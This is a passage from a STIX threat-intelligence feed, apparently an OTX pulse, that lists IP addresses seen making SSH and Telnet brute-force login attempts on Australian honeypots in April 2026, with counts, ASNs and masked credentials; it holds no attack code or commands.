        "bruteforce"
      ],
      "modified": "2026-04-12T02:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '95.181.230.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T02:15:03.000Z",
      "valid_until": "2026-05-14T02:15:02.000Z"
    },
    {
      "created": "2026-04-12T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: GB. ASN(s): 25369. Organisation(s): Hydra Communications Ltd.",
      "id": "indicator--742181d2-7486-4bcd-bbaf-4e4f6ad38c30",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '37.10.113.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T03:15:10.000Z",
      "valid_until": "2026-05-14T03:15:08.000Z"
    },
    {
      "created": "2026-04-12T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 268194. Organisation(s): Telecomunicacoes S. Goncalves ltda-ME. Usernames observed (masked): r**t. Passwords observed (masked): I***********************X.",
      "id": "indicator--5fabd9d8-c6de-4fff-8c08-1ad16a326416",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.235.84.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T03:15:10.000Z",
      "valid_until": "2026-05-14T03:15:08.000Z"
    },
    {
      "created": "2026-04-12T05:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 120. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, p******s, ***, a**a, c*****r. Passwords observed (masked): 1****6, 1****2, ***, P**********3, P*********!.",
      "id": "indicator--85848156-1826-4a23-b2d6-02e588231231",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T05:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.59.94.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T05:15:04.000Z",
      "valid_until": "2026-05-14T05:15:02.000Z"
    },
    {
      "created": "2026-04-12T05:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 132. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--78782b3e-dbdf-4368-8303-f016bb3857aa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T05:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '113.230.101.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T05:15:04.000Z",
      "valid_until": "2026-05-14T05:15:02.000Z"
    },
    {
      "created": "2026-04-12T05:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 362. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 9891. Organisation(s): CS LOXINFO Public Company Limited.. Usernames observed (masked): r**t, 3**********4, f****e, u****u, u**r. Passwords observed (masked): 3***********4, 3**********4, 1**4, 1****6, 1*********d.",
      "id": "indicator--6e7b8336-5b78-4831-815c-6865bcde401c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T05:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.50.231.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T05:15:04.000Z",
      "valid_until": "2026-05-14T05:15:02.000Z"
    },
    {
      "created": "2026-04-12T05:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 432. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4, f****e, u****u, u**r. Passwords observed (masked): 3***********4, 3**********4, 1**4, 1****6, 1*********d.",
      "id": "indicator--3fae42f8-9f8a-4d07-ade1-6a6b617776bb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T05:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '152.32.191.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T05:15:04.000Z",
      "valid_until": "2026-05-14T05:15:02.000Z"
    },
    {
      "created": "2026-04-12T05:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 56046. Organisation(s): China Mobile communications corporation.",
      "id": "indicator--8a2537c4-c73b-4486-bec6-4603a62be074",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T05:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '183.212.244.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T05:15:04.000Z",
      "valid_until": "2026-05-14T05:15:02.000Z"
    },
    {
      "created": "2026-04-12T05:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6128. Organisation(s): Cablevision Systems Corp..",
      "id": "indicator--3e7febc2-f1cc-40fd-bb41-664f9171ddfb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T05:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '67.85.184.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T05:15:04.000Z",
      "valid_until": "2026-05-14T05:15:02.000Z"
    },
    {
      "created": "2026-04-12T06:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 48101. Organisation(s): Trooli Ltd..",
      "id": "indicator--7f1f74ff-4a14-4396-a843-1427bf1c1ae9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T06:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.28.112.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T06:15:04.000Z",
      "valid_until": "2026-05-14T06:15:02.000Z"
    },
    {
      "created": "2026-04-12T06:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--7b6b2355-2d8c-4dd6-803e-989355453272",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T06:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '220.202.89.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T06:15:04.000Z",
      "valid_until": "2026-05-14T06:15:02.000Z"
    },
    {
      "created": "2026-04-12T06:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--46e2917b-44cb-4ca5-b343-9d1904631532",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T06:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '59.0.123.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T06:15:04.000Z",
      "valid_until": "2026-05-14T06:15:02.000Z"
    },
    {
      "created": "2026-04-12T06:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--cf645e7e-645d-4cbd-bbf5-ff714ced38d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T06:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T06:15:04.000Z",
      "valid_until": "2026-05-14T06:15:02.000Z"
    },
    {
      "created": "2026-04-12T07:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 31. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 56042. Organisation(s): China Mobile communications corporation. Usernames observed (masked): r**t. Passwords observed (masked): 1**********c, A******3, a*******3.",
      "id": "indicator--a3dcb69d-240a-40f9-8229-aedf3c30dc9e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T07:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '111.53.8.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T07:15:06.000Z",
      "valid_until": "2026-05-14T07:15:01.000Z"
    },
    {
      "created": "2026-04-12T07:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): K***********5.",
      "id": "indicator--204317f2-4d3f-44ed-a4ca-343318c2701b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T07:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '146.190.88.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T07:15:06.000Z",
      "valid_until": "2026-05-14T07:15:01.000Z"
    },
    {
      "created": "2026-04-12T07:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--0b030f4b-7598-4eb9-be8a-20b0205836e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T07:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '164.90.221.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T07:15:06.000Z",
      "valid_until": "2026-05-14T07:15:01.000Z"
    },
    {
      "created": "2026-04-12T07:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--39acba7a-83d1-4524-b607-1257b8823c38",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T07:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.227.144.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T07:15:06.000Z",
      "valid_until": "2026-05-14T07:15:01.000Z"
    },
    {
      "created": "2026-04-12T07:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 25369. Organisation(s): Hydra Communications Ltd.",
      "id": "indicator--39304b36-677a-49a0-9b6b-6bacc7fbe534",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T07:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '194.88.98.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T07:15:06.000Z",
      "valid_until": "2026-05-14T07:15:01.000Z"
    },
    {
      "created": "2026-04-12T07:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--ec6fec5e-4be4-4659-9792-e48b464016e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T07:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '2.57.121.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T07:15:06.000Z",
      "valid_until": "2026-05-14T07:15:01.000Z"
    },
    {
      "created": "2026-04-12T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--ade72f7d-271b-4562-832d-22ff70178e52",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T08:15:10.000Z",
      "valid_until": "2026-05-14T08:15:08.000Z"
    },
    {
      "created": "2026-04-12T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 29. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--24fb0053-f528-4da4-957b-4c3522c24031",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '42.234.213.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T08:15:10.000Z",
      "valid_until": "2026-05-14T08:15:08.000Z"
    },
    {
      "created": "2026-04-12T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A..",
      "id": "indicator--42554650-aecf-46f0-89f4-686eb4c8f3f7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T08:15:10.000Z",
      "valid_until": "2026-05-14T08:15:08.000Z"
    },
    {
      "created": "2026-04-12T10:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 162. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd. Usernames observed (masked): ***, u****u, j**o, s****a, ***. Passwords observed (masked): j**o, s****a, 1*******a, ***, g****r.",
      "id": "indicator--0cd744a8-bcd4-4a58-a245-22a96e44558d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T10:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '193.32.162.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T10:15:03.000Z",
      "valid_until": "2026-05-14T10:15:01.000Z"
    },
    {
      "created": "2026-04-12T10:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 174. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4, o**o, ***, j***n. Passwords observed (masked): 3***********4, 3**********4, 1***5, A********8, O********6.",
      "id": "indicator--ce7574c2-4a65-4aaf-abf3-af0922354f56",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T10:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '207.154.254.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T10:15:03.000Z",
      "valid_until": "2026-05-14T10:15:01.000Z"
    },
    {
      "created": "2026-04-12T10:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--6ebb24f7-44b8-43c5-af01-eb7a77ad0b70",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T10:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '220.134.218.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T10:15:03.000Z",
      "valid_until": "2026-05-14T10:15:01.000Z"
    },
    {
      "created": "2026-04-12T10:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 269822. Organisation(s): COLOMBIA MAS TV S.A.S. Usernames observed (masked): r**t, u****u, 3**********4, a***d, d****y. Passwords observed (masked): 1****6, 2**5, 3***********4, 3**********4, L*****n.",
      "id": "indicator--a1011883-55d7-41de-85b5-8e99e48b49fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T10:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.65.233.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T10:15:03.000Z",
      "valid_until": "2026-05-14T10:15:01.000Z"
    },
    {
      "created": "2026-04-12T10:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, d******r, 3**********4, ***, d****y. Passwords observed (masked): 2**5, 3***********4, 3**********4, R******6, X*****0.",
      "id": "indicator--ae939412-ca74-40e0-bb4d-b647b9c819a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T10:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '61.72.55.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T10:15:03.000Z",
      "valid_until": "2026-05-14T10:15:01.000Z"
    },
    {
      "created": "2026-04-12T10:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 109. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 3216. Organisation(s): PVimpelCom. Usernames observed (masked): r**t, ***, 3**********4, j***n, j********z. Passwords observed (masked): 1****6, 3***********4, 3**********4, P********5, c*****1.",
      "id": "indicator--66dd9939-7f17-47ff-83fc-47ff9b0c2431",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T10:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '81.211.72.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T10:15:03.000Z",
      "valid_until": "2026-05-14T10:15:01.000Z"
    },
    {
      "created": "2026-04-12T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 142. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation. Usernames observed (masked): r**t, ***, 3**********4, a***n, p******s. Passwords observed (masked): *, 1****6, 1*****v, 3***********4, 3**********4.",
      "id": "indicator--53647cba-b39e-430c-991b-dd6af07b57b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '1.214.255.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T11:15:03.000Z",
      "valid_until": "2026-05-14T11:15:01.000Z"
    },
    {
      "created": "2026-04-12T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 56047. Organisation(s): China Mobile communications corporation. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, r********6.",
      "id": "indicator--27c9acab-b5df-416c-9aff-ee31179338af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '111.22.249.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T11:15:03.000Z",
      "valid_until": "2026-05-14T11:15:01.000Z"
    },
    {
      "created": "2026-04-12T11:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--36a26225-e909-45b9-910a-799f0e0f5a91",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '116.140.173.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T11:15:03.000Z",
      "valid_until": "2026-05-14T11:15:01.000Z"
    },
    {
      "created": "2026-04-12T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 221. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, f*****t, p******s, f*****r, ***. Passwords observed (masked): ***, 1*******9, 1****7, 1*******E, 2*****3.",
      "id": "indicator--5d6e3de9-5d1f-42cb-925a-feee33a28016",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '118.193.61.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T11:15:03.000Z",
      "valid_until": "2026-05-14T11:15:01.000Z"
    },
    {
      "created": "2026-04-12T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--cc27afce-9630-431a-bd9f-e9bc5f27c693",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '135.119.104.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T11:15:03.000Z",
      "valid_until": "2026-05-14T11:15:01.000Z"
    },
    {
      "created": "2026-04-12T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 292. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4, c**a, d****y, t*******k. Passwords observed (masked): 1****6, 3***********4, 3**********4, *, 1******8.",
      "id": "indicator--2d5b8325-2dc2-43e6-a234-46a771daa7cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.191.239.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T11:15:03.000Z",
      "valid_until": "2026-05-14T11:15:01.000Z"
    },
    {
      "created": "2026-04-12T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PE. ASN(s): 12252. Organisation(s): America Movil Peru S.A.C.. Usernames observed (masked): r**t, 3**********4, a***n, f****e, o****e. Passwords observed (masked): 3***********4, 3**********4, A******2, Q***********@, R*************#.",
      "id": "indicator--54a92170-131a-4860-af6c-1facdc824fb7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-12T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '190.119.63.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T11:15:03.000Z",
      "valid_until": "2026-05-14T11:15:01.000Z"
    },
    {
